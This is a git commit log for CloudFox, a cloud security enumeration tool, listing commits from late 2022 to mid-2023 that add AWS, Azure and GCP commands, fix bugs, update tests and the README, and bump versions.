Compare commits

..
346 Commits
Author SHA1 Message Date
Bastien Faure 599ddc247d Merge main 2023-07-01 17:40:50 -07:00
Seth Art d4ae745e8e Merge pull request #45 from BishopFox/seth-dev
directory name for logging path
2023-06-28 11:39:47 -04:00
sethsec-bf dc0396ff33 updated logging path to have profile come before account-id to make it easier to find the right data 2023-06-28 11:37:45 -04:00
Bastien Faure 9bedfcb4de Cosmetics 2023-06-28 00:56:52 -07:00
Bastien Faure afbcab6652 Clarified GCP resource selection options in the CLI 2023-06-28 00:50:18 -07:00
Bastien Faure 3ec90f51d2 Improve resource selection logic in GCP by prepopulating Projects and Folders in the client for later use 2023-06-28 00:48:57 -07:00
Bastien Faure 1343060c4b Finish the resource selection logic implementation 2023-06-26 22:01:16 -07:00
Bastien Faure bbc26e0a23 Implement basic support of inventory command 2023-06-26 00:24:33 -07:00
Bastien Faure 8518b7678d Improve buckets module logging 2023-06-26 00:24:11 -07:00
Bastien Faure 07cd08ccc2 Improve data visualization in GCP resource tree 2023-06-25 23:24:08 -07:00
Bastien Faure 4ffc02c285 Implement tree structure in internal package, improved GCP Hierarchy command logic 2023-06-25 23:02:58 -07:00
Bastien Faure f61dd2bfb1 Included orphaned projects in the hierarchy module, improve logging 2023-06-25 16:27:13 -07:00
Bastien Faure 5365206a49 Update README with correct number of available GCP commands 2023-06-25 13:54:26 -07:00
Bastien Faure fc390b763e Fix bug in GCP profile selection logic, remove unnecessary new lines in GCP modules' logging 2023-06-25 13:53:38 -07:00
Bastien Faure a2140f1ef1 Implement definitive logic for GCP Profile interation and module calling 2023-06-25 02:27:51 -07:00
Bastien Faure 48f92dd4f8 Remove GCP development/test command, updated README with usable/current commands 2023-06-25 00:48:48 -07:00
Bastien Faure 139e4d391f Remove GCP development/test command, updated README with usable/current commands 2023-06-25 00:48:05 -07:00
Bastien Faure 6251b76a12 Bypass GCP profile parsing logic for commands that don't require authentication 2023-06-25 00:40:59 -07:00
Bastien Faure 48c4928767 Implement default profile detection in GCP 2023-06-24 23:21:26 -07:00
Bastien Faure 7578d4299d Implemented a logger to be used by cloudfox providers, moved version to globals 2023-06-24 23:10:54 -07:00
Bastien Faure b08ca87e6b Continue profile management implementation for GCP 2023-06-24 21:15:56 -07:00
Bastien Faure 5f029319a6 Continue GCP implementation, including multiple profile selection on CLI 2023-06-24 20:34:13 -07:00
Bastien Faure 42a32bb8e3 Added hierarchy command, aiming to display a resource tree, started decomissioning whoami 2023-06-22 22:14:47 -07:00
Bastien Faure c397f858db Added an internal function to list 'usable' credentials 2023-06-22 17:29:14 -07:00
Bastien Faure 980e28bc9d Implemented access-tokens commands for GCP to enumerate local tokens in a detailed manner 2023-06-22 12:35:48 -07:00
David 9b752ce4e6 saving work 2023-06-22 10:31:05 -04:00
Bastien Faure c102ea8d17 Started working around local GCP credentials and added profiles and inventory command stubs 2023-06-22 00:07:48 -07:00
Bastien Faure ba04dade7a Mimick AWS structure for GCP CLI args and modules 2023-06-21 13:20:14 -07:00
Bastien Faure 61cb727a64 Remove GCP debug 2023-06-20 22:40:22 -07:00
Bastien Faure 25fb66d6a1 Moved GCP helpers to separate file 2023-06-20 22:39:35 -07:00
Bastien Faure 82adab9863 Updated README with GCP documentation 2023-06-20 13:25:28 -07:00
Bastien Faure 02026c7a78 Initial commit for GCP implementation 2023-06-20 13:17:40 -07:00
sethsec-bf c11ebf9a07 fixed newly introduced eks bug in the caching function (region and cluster name were passed in the wrong order) 2023-06-14 17:01:53 -04:00
sethsec-bf 6c8936cfe4 fixed two segfault issues due to not checking if fields within a struct are nil 2023-06-14 16:24:19 -04:00
Seth Art fca0c4da14 Merge pull request #44 from BishopFox/seth-dev
Switched default behavior on loading cached data from disk.
2023-06-14 09:49:58 -07:00
sethsec-bf 2c5fec49c3 loading cache from files by default was a bad idea. changed default to not load cache from disk, and if the -c flag is used, then cache is loaded from disk 2023-06-14 12:46:04 -04:00
sethsec-bf a9b95d9142 merged from main 2023-06-14 12:33:05 -04:00
Seth Art 0a74adea9a Merge pull request #43 from wdahlenburg/api-gw-patch
API Gateway Path Fix
2023-06-14 09:31:02 -07:00
Wyatt Dahlenburg adb9bcd55a Handle stage in apigatewayv2 2023-06-13 16:00:02 -06:00
Wyatt Dahlenburg 03177e8726 Fix paths on API Gateways & V2. Clean up path for S3 bucket endpoints as well 2023-06-13 15:01:54 -06:00
sethsec-bf 1fb9f4c3e0 fixed services table to sort by service which is way more helpful 2023-06-10 23:16:45 -04:00
Seth Art 3c6c59ec4b Update README.md 2023-06-09 14:33:51 -04:00
Seth Art 3f8b828a6c Merge pull request #41 from BishopFox/seth-dev
found and fixed some bugs in the new resource-trusts command
2023-06-09 14:32:01 -04:00
sethsec-bf b8bf12f1c4 found and fixed some bugs in the new resource-trusts command 2023-06-09 14:30:39 -04:00
sethsec-bf 690b3c8c77 found and fixed some bugs in the new resource-trusts command 2023-06-09 14:29:33 -04:00
Seth Art 845b69e9a0 Merge pull request #40 from BishopFox/seth-dev
updated lambda header to name instead of arn
2023-06-09 10:46:46 -04:00
sethsec-bf fc7a57129f updated lambda header to name instead of arn 2023-06-09 10:46:13 -04:00
Seth Art f6ec6a12f7 Merge pull request #39 from BishopFox/seth-dev
Version 1.11.0
2023-06-08 21:49:55 -04:00
sethsec-bf 56075588d5 bumped version to 1.11.0 2023-06-08 21:45:17 -04:00
sethsec-bf 7b51d9da96 updated tests 2023-06-08 21:43:42 -04:00
sethsec-bf a0a64c579c bumped go version for releaser 2023-06-08 21:43:20 -04:00
sethsec-bf 2b294e5845 updated wrapping for files written to disk, updated go modules 2023-06-08 21:33:20 -04:00
sethsec-bf d5956cebb0 tweak to database command cols 2023-06-08 21:05:40 -04:00
sethsec-bf 9581425231 updates to resource-trust command 2023-06-08 16:19:57 -04:00
sethsec-bf ce6c3f76fa migrated ecr and a few other functions in the endpoints and env-vars commands to use the cached functions 2023-06-03 12:41:10 -04:00
sethsec-bf 497c7940d2 migrated ecr to cached functions 2023-05-31 12:56:31 -04:00
sethsec-bf b29e4ea6b3 changed output directory, added beginning phases of cached support - both within one single run, but also loading cached data from previous runs, added codebuild command, added orgs command, added databases command, switched everything to use carlos's output2 functions, changed the output flag from type (csv,table) to be like kubectl with wide/narrow 2023-05-30 10:55:39 -04:00
sethsec-bf 2756cd0f45 changed default output dir to ~/.cloudfox/cloudfox-output 2023-05-23 15:32:43 -04:00
sethsec-bf c0597764a9 reworked the option to specify a principal so it works with groups also. i don't think it was working before 2023-05-18 15:58:27 -04:00
sethsec-bf ef1b37cef7 Added conditions col to the output to at least say if conditions exist on a permission 2023-05-10 20:34:03 -04:00
sethsec-bf 8e9bd42a1e finally added some logic so that if the user submits the name of the user/role/group instead of hte arn it will work anyway 2023-04-27 09:59:59 -04:00
sethsec-bf 8b2f13ca88 added ssm and ec2-instanceconnect commands to instances loot 2023-04-13 11:45:06 -04:00
sethsec-bf 8722782eae merged from main 2023-04-04 21:26:37 -04:00
sethsec-bf 0397b5df5f fixed bug in aws permissions - it was not handling policies applied to groups properly 2023-04-04 16:56:57 -04:00
sethsec-bf 5f7596b497 more draft work on the orgs command 2023-04-04 16:11:08 -04:00
sethsec-bf 0276ce25a4 initial draft of the orgs command 2023-03-30 07:35:48 -04:00
sethsec-bf 7490d1aaa1 fixed bug that wrote buckets, sns, sqs files in the wrong place when using environment variables 2023-03-28 15:18:01 -04:00
sethsec-bf 8ef71a6388 fixed bug in env-vars where sagaemaker model exists but primarycontainer does not 2023-03-27 13:44:48 -04:00
sethsec-bf 365286665c moved sns/sqs to another section in all-checks 2023-03-27 13:44:15 -04:00
Seth Art 537d064c6b Merge pull request #35 from motikan2010/main
bugfix 'SQS' and 'SNS' are inspected when 'all-checks' is executed.
2023-03-27 13:21:22 -04:00
sethsec-bf 766fe55484 added more to resource trusts module, started to move commands to shared initalizers 2023-03-26 15:15:31 -04:00
motikan2010 51f0b65087 bugfix 'SQS' and 'SNS' are inspected when 'all-checks' is executed. 2023-03-26 21:32:24 +09:00
sethsec-bf 186cd04405 Finished codebuild test, added codeguild to resource-trusts command, updated ecr test to add new function to the client interface 2023-03-21 12:09:45 -04:00
sethsec-bf 56247f40d4 first draft of resource-trusts command 2023-03-18 07:52:27 -04:00
sethsec-bf bc91da000c fixed bug in permissions command where it was choking on statements with conditions 2023-03-18 07:50:43 -04:00
Seth Art 02db8a4fe8 Merge pull request #33 from BishopFox/carlos-dev
azure bug fix
2023-03-13 16:44:24 -04:00
Seth Art dc7c8c6f68 Merge branch 'main' into carlos-dev 2023-03-13 16:43:46 -04:00
sethsec-bf 1aca8cf4cf fixed bug in filesystems command related mount targets 2023-03-13 13:22:58 -04:00
sethsec-bf 8550561cd7 fixed bug in filesystems command related to regions 2023-03-09 13:33:59 -05:00
sethsec-bf 7f413fc9d1 fixed bug in filesystems command 2023-03-09 13:31:34 -05:00
carlosvendramini b3620ca281 fixed output path in control messages for az inventory 2023-03-08 14:54:49 -05:00
carlosvendramini e6b5604a08 updated version tag to 1.10.1 2023-03-08 14:35:16 -05:00
carlosvendramini 47c11840d3 attempt to fix a bug within az validatePublicBlobURLs 2023-03-08 11:29:46 -05:00
carlosvendramini 77c7edfc82 fixed an error handling bug on the az storage and whoami commands 2023-03-08 11:17:13 -05:00
sethsec-bf cecebb82cb updated table file output to respect the wrap argument and the default which is to not wrap 2023-03-08 09:33:15 -05:00
sethsec-bf f2f93779ca updated inventory to include codebuild and started to break it out a bit into api call functions 2023-03-08 09:19:19 -05:00
sethsec-bf 59157b40d1 updated EFS to show file permissions and root directory info 2023-02-28 18:17:50 -05:00
Seth Art 07c4ddc755 Update README.md 2023-02-28 12:41:09 -05:00
carlosvendramini 05481ae748 az storage command now uses head method instead of get to check public blob URL 2023-02-28 12:06:12 -05:00
Seth Art 49eada30b6 Merge pull request #32 from BishopFox/dependabot/go_modules/golang.org/x/net-0.7.0
Bump golang.org/x/net from 0.2.0 to 0.7.0
2023-02-28 12:05:02 -05:00
dependabot[bot] bb1313c5c8 Bump golang.org/x/net from 0.2.0 to 0.7.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.2.0 to 0.7.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.2.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-28 17:03:36 +00:00
carlosvendramini fc736f4946 updated version tag to 1.10.0 2023-02-28 11:53:29 -05:00
carlosvendramini-bf d02b5e8f0e Merge pull request #31 from BishopFox/carlos-dev
Carlos dev
2023-02-28 11:49:47 -05:00
carlosvendramini 41be2192d3 added blobs test data 2023-02-28 11:45:43 -05:00
Seth Art 96587ff450 Update README.md 2023-02-28 09:37:31 -05:00
Seth Art 2e65bb319e added sqs and sns to readme 2023-02-23 12:13:15 -05:00
Seth Art fc3379e7ac Merge pull request #30 from BishopFox/seth-dev
Small improvements and fixes
2023-02-22 16:38:07 -05:00
sethsec-bf 2b686e9a3b Merge remote-tracking branch 'origin' into seth-dev 2023-02-22 16:28:48 -05:00
Seth Art 7300fc9eb3 Merge pull request #21 from DominicBreuker/sns-sqs-public-access-cmd
Add SNS and SQS commands with unit tests
2023-02-22 16:28:02 -05:00
sethsec-bf 303341c634 updated the buckets test to use the big table string as the comparable like sns/sqs 2023-02-21 16:48:03 -05:00
sethsec-bf 31027ba4cb updated all of the tests for sns/sqs/buckets to work with the new code 2023-02-21 16:05:10 -05:00
sethsec-bf 40933e2f81 fixed bug in permissions command where notaction permissions were being listed as allowed 2023-02-21 11:52:59 -05:00
carlosvendramini a8b73ef60d Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2023-02-21 06:43:29 -05:00
sethsec-bf b9f9a4fdab updated some iam-simulator default actions 2023-02-20 23:11:21 -05:00
sethsec-bf 3238ac866a switch awsservicemap behavior to pull latest servicemap from aws 2023-02-20 23:06:37 -05:00
sethsec-bf 2563ebbb72 removed pmapper column from output when pmapper data is not found 2023-02-20 22:53:18 -05:00
sethsec-bf 512602079b removed pmapper column from output when pmapper data is not found 2023-02-20 22:48:03 -05:00
sethsec-bf 152f7eaa8d added loot file to inventory which lists all identified arns 2023-02-20 22:26:01 -05:00
sethsec-bf 6aae684307 added test for tags command 2023-02-20 15:30:00 -05:00
sethsec-bf dbc9b1c2d3 added a max flag for the tags command because some accounts have hundreds of thousands of tags.
changed the behavior of the tags command in all-checks - it now sets the limit to 1000 resources per region,
and even if a user uses the -v2 or -v3 option, it overrides it to -v1 since it is so verbose
2023-02-20 11:30:28 -05:00
sethsec-bf 7c55958f54 added loot command output to sqs and sns 2023-02-17 22:49:27 -05:00
sethsec-bf ac21f3a8f0 finally got something worth pushing 2023-02-16 16:26:02 -05:00
sethsec-bf f207a7c095 updated sns/sqs/buckets commands - likely going to remove this 2023-02-14 18:16:26 -05:00
sethsec-bf cd66bbf52a updated sns/sqs/buckets commands - likely going to remove this 2023-02-14 18:11:29 -05:00
carlosvendramini dc7560c648 added az inventory per subscription 2023-02-10 14:51:46 -07:00
carlosvendramini 466c8fca53 small bug fix on output 2023-02-10 13:19:15 -07:00
carlosvendramini 2e8a454d04 output redesign ready for testing in prod 2023-02-10 13:06:22 -07:00
carlosvendramini 99b798b556 finished the az inventory module PoC code 2023-02-09 10:03:14 -05:00
carlosvendramini 78ff6651be finished new potential new output design, still need to discuss and test 2023-02-06 16:47:41 -05:00
carlosvendramini f1670f67da added new potential output design 2023-02-06 11:28:19 -05:00
carlosvendramini ba57a02a20 az blob enumeration complete, also added loot file with urls, need to add unit tests 2023-02-03 11:01:55 -05:00
carlosvendramini 6599ad2e83 public blob enumeration almost done, just need to add URLs to loot file 2023-02-02 17:45:37 -05:00
Seth Art 925014f001 Merge pull request #29 from BishopFox/seth-dev
Fix #28 and some other minor updates
2023-02-01 21:35:43 -05:00
sethsec-bf 7058d458e0 updated pmapper error state to point to wiki for next steps 2023-02-01 21:25:57 -05:00
sethsec-bf 8b5f79dc82 fixed pmapper path creation in linux to fix #28 2023-02-01 21:17:51 -05:00
sethsec-bf bb1f3388f3 added wiki link to network-ports command 2023-02-01 21:14:00 -05:00
carlosvendramini-bf 4081025480 wrote a prototype for az public blobs enumeration 2023-02-01 15:51:06 -05:00
sethsec-bf b64526f04f initial draft of adding more context to sqs table 2023-02-01 13:08:14 -05:00
Seth Art 78cdf2ef91 updated readme to include network-ports from #19 2023-01-31 13:48:36 -05:00
sethsec-bf 3d054eadee the test run complained about a fmt error in networkports 2023-01-31 12:27:18 -05:00
sethsec-bf 767d2e6bca added region check for each service to new commands 2023-01-31 12:21:30 -05:00
sethsec-bf 7ec51b1b96 incorporated new changes from v1.9.0 into this PR 2023-01-31 12:16:01 -05:00
Seth Art 10742b2f8b Merge pull request #19 from wdahlenburg/network-services
Identify Potentially Exposed Network Ports
2023-01-31 11:30:30 -05:00
sethsec-bf abeaa25922 bumping version and adding prerelease notation before pushing to main 2023-01-31 11:28:26 -05:00
Wyatt Dahlenburg 91aa229679 Restrict the processed security group rules to ALL, TCP, and UDP 2023-01-24 19:08:56 -07:00
sethsec-bf c265e5cb86 Merge branch 'network-services' of github.com:wdahlenburg/cloudfox into network-services 2023-01-23 17:34:12 -07:00
sethsec-bf f514b80f38 adding logic to ignore icmp 2023-01-23 17:33:52 -07:00
Wyatt Dahlenburg a0c8e4b2c4 Including ElastiCache in the cloudfox AWS policy 2023-01-23 07:50:17 -07:00
sethsec-bf 1c64fa50b9 added new 1.9.0 smart service logic 2023-01-22 23:15:39 -05:00
sethsec-bf 1ffd763a85 updated network-ports sections of cli/aws to incorporate new structure 2023-01-22 22:47:22 -05:00
sethsec-bf 5e87e968fd made some superficial updates before merge with main 2023-01-22 22:18:46 -05:00
Seth Art 12e9d5a3b1 Merge pull request #25 from JonZeolla/fix-typo
Fix ssm:SendCommand typo
2023-01-20 15:21:32 -05:00
Jon Zeolla 45cd84bcaa Fix ssm:SendCommand typo 2023-01-17 18:58:18 -05:00
Seth Art acabb09592 Update README.md 2023-01-14 21:05:11 -05:00
Seth Art b8515157f9 Update README.md 2023-01-14 21:04:28 -05:00
Seth Art 57aa072dda Update README.md 2023-01-11 08:53:02 -05:00
Seth Art dd688afd3e Updated README to split out Azure commands to their own table 2023-01-11 08:51:06 -05:00
Seth Art f90a52c58a Update README.md 2023-01-10 15:34:44 -05:00
Seth Art cb618d29de Merge pull request #23 from BishopFox/seth-dev
1.9.0 release PR
2023-01-10 15:27:17 -05:00
sethsec-bf 44311b5ecb removed beta designation from Azure section 2023-01-10 15:21:17 -05:00
sethsec-bf d7634a8a44 Added link to WIKI for each AWS command 2023-01-09 21:46:15 -05:00
sethsec-bf 3fe4ac6afa added back in prefix to output selector. Reverted back to select channel for receiver in all aws commands because the new way was losing data 2023-01-06 20:49:28 -05:00
carlosvendramini-bf 1bb3bde996 code cleanup for 1.9.0 release 2023-01-05 15:53:41 -05:00
carlosvendramini-bf a9553c4e68 fixed a segmentation fault bug with az commands 2023-01-05 15:39:48 -05:00
carlosvendramini-bf 840e3d3087 removed --extended flag from az whoami command, now everything displays in one table 2023-01-05 15:27:11 -05:00
sethsec-bf b537c62dfa fixed bug in eks where it was only reproting on clusters that have node groups. 2023-01-05 14:07:36 -05:00
sethsec-bf c52a22c4f5 added acceptance test using t.Run to ecs-tasks_test.go 2023-01-05 12:20:53 -05:00
sethsec-bf d4eb166e53 added back aquatable setting to not wrap unless we use our own wrap function 2023-01-05 11:43:41 -05:00
sethsec-bf 097baa072a moved spinner and commandcounter to new internal directory, removing need for console directory 2023-01-05 08:56:40 -05:00
sethsec-bf c9daf18231 fixed bug in ecs-tasks that caused segfault because the interface was not correct 2023-01-05 08:48:19 -05:00
sethsec-bf fff39851a4 Merge branch 'carlos-dev' into seth-dev 2023-01-05 08:23:21 -05:00
sethsec-bf 63d932792b updated eks test 2023-01-05 08:12:36 -05:00
Wyatt Dahlenburg 2b04fbb39a Merge branch 'main' into network-services 2023-01-04 20:29:19 -07:00
Wyatt Dahlenburg 6e9aa37d4a Refactor + Merge of Lightsail, ELBv2, ECS, ElastiCache, & EFS detections 2023-01-04 20:28:59 -07:00
carlosvendramini-bf c013090792 added switch flag to az module test cases 2023-01-04 17:01:35 -05:00
carlosvendramini-bf 9f0d99ab32 renamed utils package to internal 2023-01-04 15:54:06 -05:00
sethsec-bf d92e8bb487 fixed some code warnings 2023-01-03 12:37:59 -05:00
sethsec-bf 05bcf9c3ed fixed some code warnings 2023-01-03 12:37:24 -05:00
sethsec-bf 376e1da619 fixed some code warnings 2023-01-03 12:36:26 -05:00
sethsec-bf c60c33782c added privesc check to eks command 2023-01-03 12:29:59 -05:00
sethsec-bf c2b7a50bbd Merge branch 'carlos-dev' into seth-dev 2023-01-03 11:24:30 -05:00
sethsec-bf a8103f118d added cloudformation test 2023-01-03 11:02:44 -05:00
sethsec-bf 9b5b9fad56 updated test for ecs-tasks 2023-01-02 08:43:39 -05:00
sethsec-bf 0032392096 updated eks interface in cli/aws.go 2022-12-31 09:16:34 -05:00
carlosvendramini-bf 6777ef2032 adjusted --wrap flag to measure terminal, file outputs are no longer wrapped 2022-12-30 23:18:56 -05:00
sethsec-bf 8f3c24e05b added eks test 2022-12-30 22:08:49 -05:00
carlosvendramini-bf 529d6322f3 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-12-30 13:38:09 -05:00
sethsec-bf 1c334b5da4 refactored buckets and cloudformation commands to seperate out AWS SDK calls into their own functions 2022-12-29 12:03:16 -05:00
sethsec-bf afbe710af9 added --wrap flag for table wrapping 2022-12-28 14:24:27 -05:00
sethsec-bf 1c12c84027 Merge branch 'main' of github.com:BishopFox/cloudfox into seth-dev 2022-12-28 14:21:32 -05:00
sethsec-bf 1e275d39de added --wrap flag for table wrapping 2022-12-28 14:21:17 -05:00
sethsec-bf 362fa0c91e added --wrap flag for table wrapping. Also added EKS and pmapper commands to all-checks 2022-12-28 13:03:23 -05:00
sethsec-bf 5a6e5c1ebc removed some commented lines 2022-12-28 10:21:32 -05:00
sethsec-bf 91976b85e6 Updated all workload commands to use shared functions rather than having to add the same methods to each command 2022-12-27 17:00:20 -05:00
sethsec-bf a5c5ec92d2 Updated all workload commands to use shared functions rather than having to add the same methods to each command 2022-12-27 16:39:16 -05:00
carlosvendramini-bf ded97a0f09 az whoami command now has an --extended flag for more detailed output 2022-12-26 01:43:11 -05:00
carlosvendramini-bf 2c17ad1889 fixed missing prefixIdentifier for OutputSelector for aws principal and pmapper modules 2022-12-25 18:13:59 -05:00
carlosvendramini-bf d8488e1fe1 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-12-25 15:33:11 -05:00
sethsec-bf 385bf52289 second draft of pmapper command. Replaced isRoleAdmin check in instances and lambda commands to use pmapper if pmapper data is available, and to fall back to iam-simulator as needed 2022-12-24 00:26:04 -05:00
carlosvendramini-bf 2007026dbe Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-12-22 21:46:26 -05:00
sethsec-bf b1dc875bec added --skip-admin-checks flag for all modules that do admin role checks 2022-12-21 14:49:30 -05:00
sethsec-bf 56e265bb49 finished a good enough update of role-trusts to show federated roles and helpful context about the trusted subjects. 2022-12-21 14:48:37 -05:00
sethsec-bf 4b424a3bcd refactored eks command to seperate functions 2022-12-19 12:58:23 -05:00
cvendramini2 0ea1895e2c fixed a segmentation fault bug in the az instances module caused by nil public ip objects 2022-12-19 17:33:26 +00:00
cvendramini2 6bbc528831 fixed a syntax error with utils.OutputSelector in the aws eks command 2022-12-19 16:54:48 +00:00
carlosvendramini-bf 8ed67eadea small correction on az instances output 2022-12-19 00:31:33 -05:00
carlosvendramini-bf 2f518c923e Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-12-19 00:27:38 -05:00
carlosvendramini-bf 17627539db first version of az storage done and code cleanup on all az commands 2022-12-19 00:26:01 -05:00
carlosvendramini-bf 3d7bf089dd changed output for az whoami command 2022-12-17 17:48:13 -05:00
carlosvendramini-bf 5d8e9e95a7 az instances and rbac now only take tenant ID and sub ID for input 2022-12-14 22:20:15 -05:00
sethsec-bf e56634d7d5 updated awsservicemap mod to v1.0.0 2022-12-13 09:25:12 -05:00
Dominic Breuker 0ceaa0a767 use in-memory filesystem for unit tests 2022-12-12 21:14:53 +01:00
sethsec-bf 8dc330494b refactored eks command a bit to seperate functions 2022-12-12 14:23:28 -05:00
sethsec-bf d5de698d7b first draft of eks command 2022-12-12 10:07:06 -05:00
carlosvendramini-bf 433f54d007 changing inputs of az instances to accept only tenant id or sub id 2022-12-12 07:50:01 -05:00
sethsec-bf 846f28e8be fixed bug where the multi profile cli options were not using the new enabledregions check. 2022-12-09 21:30:39 -05:00
sethsec-bf d455f4cde4 fixed bug where the multi profile cli options were not using the new enabledregions check. 2022-12-09 21:28:31 -05:00
Dominic Breuker 01267d55e9 add SNS and SQS commands with unit tests 2022-12-09 22:12:05 +01:00
sethsec-bf 73207a700d switching out awsservicemap constructor for normal sturct instatiation 2022-12-09 14:02:02 -05:00
carlosvendramini-bf 97ec9f5588 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-12-09 12:07:12 -05:00
sethsec-bf 3365c99559 remove pmapper poc command 2022-12-09 11:58:55 -05:00
carlosvendramini-bf ff04f267d2 merged seth-dev into carlos-dev 2022-12-09 10:34:47 -05:00
sethsec-bf 383d28ab2c remove pmapper poc command 2022-12-09 09:39:08 -05:00
carlosvendramini-bf 5cad2b7e28 working on az storage command 2022-12-09 08:32:03 -05:00
sethsec-bf 43acb6884d Updated to use v0.0.5 of awsservicemap, fixed bug in ecs-tasks when called from all-checks 2022-12-08 21:40:18 -05:00
cvendramini2 66fa97ed8a fixed az rbac bug that was passing subID instead of tenantID to getAzureADUsers function 2022-12-08 20:44:27 +00:00
cvendramini2 ac4552d994 added cloudfox-output folder to .gitignore 2022-12-08 20:43:20 +00:00
cvendramini2 a0ee41fb12 added az whoami command 2022-12-08 20:10:47 +00:00
Seth Art 56781c8303 Merge pull request #20 from tragulum/patch-1
Update README.md
2022-12-07 11:33:20 -05:00
Jsn Yrty 053fc3a0c9 2nd Update to ReadMe
Put in alphabeta order, fixed some spelling errors, and added eni part.
2022-12-07 11:32:09 -05:00
carlosvendramini-bf 5b8abcd29a az storage test adjustments 2022-12-07 06:02:01 +04:00
carlosvendramini-bf e9d37e9ec7 az rbac code cleanup 2022-12-07 06:01:25 +04:00
carlosvendramini-bf ecb41d5494 az rbac bug fix: code was not enumerating multiple subscriptions in a tenant 2022-12-07 05:26:04 +04:00
carlosvendramini-bf 39626e44fe az instances code cleanup 2022-12-07 05:24:45 +04:00
tragulum a61ff6bd9e Update README.md
added ecs task like entry
2022-12-06 13:13:20 -05:00
carlosvendramini-bf c567c4f7d2 az instances code cleanup 2022-12-06 11:53:23 +03:00
sethsec-bf 56def9b276 Switched a bunch of commands to accept API interfaces to facilitate future tests 2022-12-05 21:03:26 -05:00
sethsec-bf 86dde7e600 Added isAdmin check to ecs-tasks command 2022-12-05 14:15:26 -05:00
sethsec-bf 9cba6bd4bf Added isAdmin check to role-trusts module 2022-12-04 14:28:22 -05:00
sethsec-bf 0f1e003ebb added awsservicemap logic to the rest of the applicable modules 2022-12-04 14:27:57 -05:00
sethsec-bf 09e59bbd6b fixed bug in env-vars ecs where it would have missed every region other than us-east-1. Also, updated the logic to pull one (the latest) active task definition for each family instead of every active veresion of the same definition. 2022-12-04 13:48:00 -05:00
sethsec-bf 0ced51004d added awsservicemap logic to inventory module 2022-12-04 13:45:43 -05:00
sethsec-bf e509639aa4 fixed compile bug in these azure modules after i upgraded go modules. carlos is rewriting them so this should just get overwritten on his next merge 2022-12-04 13:45:03 -05:00
sethsec-bf 8f02f3bbb2 Removed Wyatt's network ports command file from my branch so that it is fresh when the PR gets merged 2022-12-02 10:23:08 -05:00
sethsec-bf 3c4612b36e Added enabled region check. Added awsservicemap package functionality 2022-12-01 21:53:18 -05:00
sethsec-bf 11eb8b3efb Updated data receiver to use a close instead of a done message 2022-11-27 17:02:13 -05:00
Wyatt Dahlenburg a09b549417 Merge branch 'main' into network-services 2022-11-27 11:22:14 -07:00
Wyatt Dahlenburg ca66af7e61 Basic Network ACL and Security Group parsing. Support for EC2 and RDS network ports. 2022-11-27 11:11:57 -07:00
carlosvendramini-bf 5fde076e09 adjusted package permissions for azure functions 2022-11-26 21:39:12 -05:00
carlosvendramini-bf 9d826ded78 added function to fetch all az storage accounts data and its test templates 2022-11-26 21:23:55 -05:00
carlosvendramini-bf 06029e8927 when invoking az without flags the helper displays logged in sessions 2022-11-25 02:47:37 -05:00
carlosvendramini-bf d179e8d540 added az rbac command to cli 2022-11-25 02:16:10 -05:00
carlosvendramini-bf 13ae4b992e added rg and sub filters for az rbac command 2022-11-25 00:54:11 -05:00
carlosvendramini-bf 129a8ce76d added az rbac function to cross reference and get relevant data 2022-11-24 19:30:58 -05:00
carlosvendramini-bf 8f76cd9581 adjusted azure rbac mocks 2022-11-20 22:22:48 -05:00
carlosvendramini-bf b8608a183f adjusted azure rbac command test template 2022-11-20 15:45:23 -05:00
carlosvendramini-bf ae3ac75f23 adjusted azure rbac command test template 2022-11-20 15:37:23 -05:00
carlosvendramini-bf f042e07dd5 azure instances command adjustments 2022-11-20 14:15:48 -05:00
carlosvendramini-bf 732ae09a59 rename constants package to globals 2022-11-19 18:42:26 -05:00
carlosvendramini-bf 1339a12329 Merge pull request #18 from BishopFox/seth-dev
Added tests for buckets and ecr. Update cli/aws.go to use a cleaner approach
2022-11-15 11:10:50 -05:00
carlosvendramini-bf 274f16f24b various bug fixes and code improvements 2022-11-11 19:37:23 -05:00
carlosvendramini-bf b92f61d4d0 refactored some azure menu and scoping code to acommodate the new rbac command 2022-11-11 17:23:35 -05:00
carlosvendramini-bf 964dd5ef1c added tenants to azure scope functionality and test cases 2022-11-11 15:00:24 -05:00
carlosvendramini-bf 924c9dbd6e added functions and test data for Azure RBAC command API calls 2022-11-10 12:50:35 -05:00
carlosvendramini-bf 90261dd140 added functions to set clients for azure rbac command 2022-11-10 08:56:05 -05:00
carlosvendramini-bf d460e63cea added help menu use cases for azure commands 2022-11-10 08:55:20 -05:00
carlosvendramini-bf c450480810 adjusted logging to no longer create a secondary logging file 2022-11-10 07:27:06 -05:00
carlosvendramini-bf 72ce4f6575 small outpuf fix for aws ecs-tasks and eni commands 2022-11-09 13:37:47 -05:00
carlosvendramini-bf ee151be593 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-11-09 13:27:29 -05:00
carlosvendramini-bf 0cce67728e new azure instances modes: single subscription, resource group or interactive mode 2022-11-09 12:41:32 -05:00
carlosvendramini-bf 037172cd22 added azure function to retrieve subscription for any given available resource group 2022-11-09 10:03:07 -05:00
carlosvendramini-bf 68328987f7 adjusted azure instances test cases, moved test data to json files 2022-11-09 08:45:22 -05:00
sethsec-bf 5a71948556 updated new modules to use the new cobra pattern 2022-11-08 20:02:21 -05:00
carlosvendramini-bf 8c00a82dc3 updated AWS module count 2022-11-08 11:03:50 -05:00
carlosvendramini-bf 52ac0b6144 Merge pull request #16 from DominicBreuker/add-ecs-tasks-and-eni-commands
added code for the ecs-tasks and elastic-network-interfaces commands
2022-11-07 15:08:42 -05:00
carlosvendramini-bf b1cff22686 ecs-tasks and eni command ready to merge. Thank you @DominicBreuker\! 2022-11-07 15:05:21 -05:00
carlosvendramini-bf d67a017bdd ecs-tasks and eni commands added to all-checks 2022-11-07 15:03:48 -05:00
carlosvendramini-bf 8fbfb38350 added unit tests for aws ecs-tasks and elastic-network-interfaces 2022-11-06 14:21:14 -05:00
